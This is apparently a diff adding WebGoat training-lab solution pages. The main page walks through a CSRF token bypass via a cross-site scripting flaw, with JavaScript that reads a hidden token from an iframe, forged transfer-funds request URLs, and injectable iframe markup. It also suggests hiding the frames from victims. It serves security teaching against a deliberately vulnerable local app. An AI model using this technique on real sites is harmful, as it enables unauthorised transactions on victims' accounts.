<img src="lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" /><br>
|
||||
<font size="2"><b>Picture of adding malicious image requests</b></font><br/>
|
||||
Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
|
||||
CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
|
||||
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 236 KiB |
After Width: | Height: | Size: 254 KiB |
After Width: | Height: | Size: 230 KiB |
After Width: | Height: | Size: 206 KiB |
After Width: | Height: | Size: 218 KiB |
After Width: | Height: | Size: 204 KiB |
After Width: | Height: | Size: 206 KiB |
121
main/project/WebContent/lesson_solutions/CsrfTokenByPass.html
Normal file
@ -0,0 +1,121 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>CSRF Token By-Pass</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
|
||||
loading a page that contains a 'forged request' to execute commands with the
|
||||
victim's credentials. </p>
|
||||
|
||||
<p>Token-based request authentication deters these attacks. This technique
|
||||
inserts tokens into pages that issue requests. These tokens are required to
|
||||
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
|
||||
this technique to help prevent CSRF attacks.</p>
|
||||
|
||||
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
|
||||
Because of the same-origin browser policy, pages from the same domain can read content from
|
||||
other pages from the same domain. </p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
|
||||
request to transfer funds. To successfully complete you need to obtain a valid request token. The
|
||||
URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
|
||||
"transferFunds=main". Load this page, read the token and append the token in a forged request
|
||||
to transferFunds. When you think the attack is successful, refresh the page and you will find the
|
||||
green check on the left hand side menu.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
|
||||
<p>Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
|
||||
a request will not result in a transfer of funds unless it has a correct token. To find
|
||||
a valid token, you could look at the form that the site generates to submit a transfer of funds.
|
||||
To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
|
||||
of "transferFunds=main" <br/>
|
||||
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenPage.png" alt="Picture of transfer initiation form" /><br>
|
||||
<font size="2"><b>Transfer initiation form</b></font>
|
||||
</p>
|
||||
<p>
|
||||
Next look at the source of the page to see what parameter the token comes in.
|
||||
<code>
|
||||
<pre id="line538"><span class="start-tag"><form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">id</span>=<span class="attribute-value">'transferForm' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=2&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'text' </span><span class="attribute-name">value</span>=<span class="attribute-value">'0'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'CSRFToken' </span><span class="attribute-name">type</span>=<span class="attribute-value">'hidden' </span><span class="attribute-name">value</span>=<span class="attribute-value">'1745740650'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> type</span>=<span class="attribute-value">'submit'</span>>
|
||||
</pre><pre id="line555"></<span class="end-tag">form</span>></pre>
|
||||
</code>
|
||||
From this we see a forged command will need the <i>CSRFToken</i> parameter. <br/>
|
||||
|
||||
<p>This solution loads this page in an iframe and reads the token out of the frame.
|
||||
Note that this is possible because the message originates from the same domain and
|
||||
does not violate the "same origin policy". So even thought this page has taken
|
||||
measures to prevent CSRF attacks, those measures can be side-stepped because of
|
||||
CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the
|
||||
frame, then the form, then saves the token </p>
|
||||
|
||||
<code><pre>
|
||||
var tokenvalue;
|
||||
|
||||
function readFrame1()
|
||||
{
|
||||
var frameDoc = document.getElementById("frame1").contentDocument;
|
||||
var form = frameDoc.getElementsByTagName("Form")[0];
|
||||
var token = form.CSRFToken.value;
|
||||
tokenvalue = '&CSRFToken='+token;
|
||||
|
||||
loadFrame2();
|
||||
}
|
||||
|
||||
function loadFrame2()
|
||||
{
|
||||
var testFrame = document.getElementById("frame2");
|
||||
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
|
||||
}
|
||||
</pre></code>
|
||||
|
||||
<p>readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
|
||||
LoadFrame2 will then append the token and load a second frame. </p>
|
||||
|
||||
The following frames loads the transfer page in the first frame. When it finishes loading, it will
|
||||
call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
|
||||
|
||||
<code><pre></pre></code>
|
||||
|
||||
|
||||
<code>
|
||||
<pre id="line585"><<span class="start-tag">iframe</span><span class="attribute-name"> src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
|
||||
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"readFrame1();"
|
||||
</span><span class="attribute-name">id</span>=<span class="attribute-value">"frame1" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||
<<span class="start-tag">iframe</span><span class="attribute-name"> id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||
</pre>
|
||||
</code>
|
||||
|
||||
<p>The next picture shows inserting this code into a message:<br/>
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHack.png" alt="Picture of inserting CSRF code in web page" /><br>
|
||||
<font size="2"><b>Inserting CSRF code into message</b></font><br/><br/>
|
||||
|
||||
The following picture shows the results of someone hitting this page. Note that no effort was taken to
|
||||
hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
|
||||
the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
|
||||
<p>The next picture shows inserting this code into a message:<br/>
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHacked.png" alt="Picture of the results of viewing the malicious message" /><br>
|
||||
<font size="2"><b>Results of viewing the malicious message</b></font>
|
||||
|
||||
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 237 KiB |
After Width: | Height: | Size: 312 KiB |
After Width: | Height: | Size: 228 KiB |